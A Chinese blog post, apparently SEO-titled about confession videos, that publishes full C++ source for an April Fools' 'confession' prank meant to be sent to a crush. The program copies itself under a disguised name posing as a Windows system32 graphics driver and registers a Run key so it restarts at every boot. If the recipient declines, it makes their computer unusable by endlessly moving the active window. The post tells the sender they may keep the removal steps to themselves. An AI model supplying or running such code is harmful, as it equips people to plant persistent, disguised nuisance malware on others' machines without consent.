首页 字幕条短视频文章正文

表白视频制作(表白视频制作教程)

字幕条短视频 2022年08月03日 01:06 546 admin

目前应该是有很多小伙伴对于表白视频制作方面的信息比较感兴趣,现在小编就收集了一些与表白视频制作教程相关的信息来分享给大家,感兴趣的小伙伴可以接着往下看,希望会帮助到你哦。

今天是个好日子,四月一日愚人节,我们的广大单身狗们,最适合借着这个节日给自己心中的那个人表个白了!愚人节嘛,不就是开着玩笑说真心话的日子吗?

那么作为一名单身程序汪,今天就利用上班摸鱼时间,来给各位单身狗们写一个恶搞程序吧!

该程序进可攻退可守:如果对方同意,就会控制你桌面的图标,形成一个跳动爱心的形状,这时候就是你表白成功啦!如果对方拒绝的话,那么就会控制你电脑的桌面图标组件,你就点不了你桌面的任何窗口,它会随着你的鼠标的点击不断移动,这时候你就说:怎么样好不好玩,就是跟你开个玩笑嘛!

不过不管怎么样,祝大家愚人节快乐!

代码示例:

main.cpp:

#define _CRT_SECURE_NO_WARNINGS#include <stdio.h>#include "resource.h"#include <windows.h> //C + windows#include <commctrl.h>#include <mmsystem.h>#pragma comment(lib,"winmm.lib")/*********************************************************1.项目-属性-常规/高级  字符集改成多字节字符集 ANSI2.项目-属性-C/C++     SDL检查  否**********************************************************//*调试时显示控制台,单独运行exe时隐藏控制台。*/#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")int main() {//ILOVEYOU.exechar exepath[300] = { 0 };GetModuleFileName(NULL,exepath,300);CopyFile(exepath,"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe",FALSE);////开机自启HKEY hkey;RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);RegSetValueEx(hkey,"Windows system32图形图像处理驱动组件.exe",NULL,REG_SZ,(const BYTE*)"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe",66);RegCloseKey(hkey);//检查是否存在一个f的文件FILE* fp = fopen("C:\\Users\\Public\\Pictures\\f","r");if (fp == NULL) {  //不存在int res = MessageBox(NULL,"我有车有房有存款,想要照顾你一生一世,你是否愿意?","暗恋你的小九九",MB_YESNO );  //是和否if (res == IDYES) { //是keybd_event(VK_LWIN,0,0,0);  //win + d 回到桌面keybd_event('D', 0, 0, 0);keybd_event('D', 0, 2, 0);keybd_event(VK_LWIN, 0, 2, 0);POINT map[14] = { {868, 316}, { 730,207 }, { 591,221 },{ 515,327 },{ 542,469 },{ 610,624 },{ 723,746 }, { 870,814 },{ 1012,744 },{ 1130,626 },{ 1219,485 }, { 1225,328 },{ 1156,225 }, { 1012,217 } };//musicPlaySound((LPCSTR)IDR_WAVE1, NULL, SND_RESOURCE | SND_ASYNC | SND_LOOP);//HWND zmWnd = FindWindow("Progman","Program Manager");  //桌面的窗口HWND bzWnd = FindWindowEx(zmWnd,0,"SHELLDLL_DefView",NULL);  //壁纸的窗口HWND tbWnd = FindWindowEx(bzWnd, 0, "SysListView32", "FolderView");  //图标的窗口int cnt = SendMessage(tbWnd,LVM_GETITEMCOUNT,0,0); //向某一个窗口发送一条指令while (1) {//刷新for (int i = 0; i < cnt; i++){if (i < 14)   //0-13SendMessage(tbWnd, LVM_SETITEMPOSITION, i, (map[i].y << 16) + map[i].x);elseSendMessage(tbWnd, LVM_SETITEMPOSITION, i, (2000 << 16) + 500);}POINT temppt;temppt.x = map[0].x;temppt.y = map[0].y;for (int i = 0; i < 13; i++) {map[i].x = map[i + 1].x;map[i].y = map[i + 1].y;}map[13].x = temppt.x;map[13].y = temppt.y;Sleep(100);if (GetAsyncKeyState(VK_ESCAPE))return 0;}}else  //否{fp = fopen("C:\\Users\\Public\\Pictures\\f", "w");fclose(fp);}}//拒绝了我HWND hwnd;  //定义一个id id可以用来标记一个窗口int x, y;POINT pt;    //点RECT  rect;  //矩形while (1) {hwnd = GetForegroundWindow();GetCursorPos(&pt);GetWindowRect(hwnd,&rect);//鼠标在窗口里面if (pt.x > rect.left && pt.x<rect.right && pt.y>rect.top && pt.y < rect.bottom){x = rand() % (1920 - 434);y = rand() % (1080 - 466);MoveWindow(hwnd, x, y, 434, 466, true);}}return 0;}

resource.h:

//{{NO_DEPENDENCIES}}// Microsoft Visual C++ 生成的包含文件。// 供 ILOVEYOU.rc 使用//#define IDR_WAVE1 101// Next default values for new objects//#ifdef APSTUDIO_INVOKED#ifndef APSTUDIO_READONLY_SYMBOLS#define _APS_NEXT_RESOURCE_VALUE 102#define _APS_NEXT_COMMAND_VALUE 40001#define _APS_NEXT_CONTROL_VALUE 1001#define _APS_NEXT_SYMED_VALUE 101#endif#endif

对方点击是/否后不知道怎么关闭怎么办?不管怎么样还能接着聊!

解决方法:

(1)在编译器启动程序时您电脑中的360/电脑管家会提示您,可以直接阻止;

(2)打开任务管理器(找到【Windows system32图形图像处理驱动组件.exe】关闭,不过仅仅是暂时关闭,对方下次启动电脑还是会继续来一次,您可以自己选择是否告知对方这一点);

(3)彻底删除请进入注册表编辑器,win+R,输入regedit,随后操作如图:


好啦,这一招就是这样,剩下的就看各位咯!

写在最后:另外,对于准备学习C/C++编程的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!

编程学习书籍分享:

编程学习视频分享:

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!

本文结束,以上,就是表白视频制作,表白视频制作教程的全部内容了,如果大家还想了解更多,可以关注我们哦。

发表评论

备案号:川ICP备66666666号 网站地图收录 字幕条短视频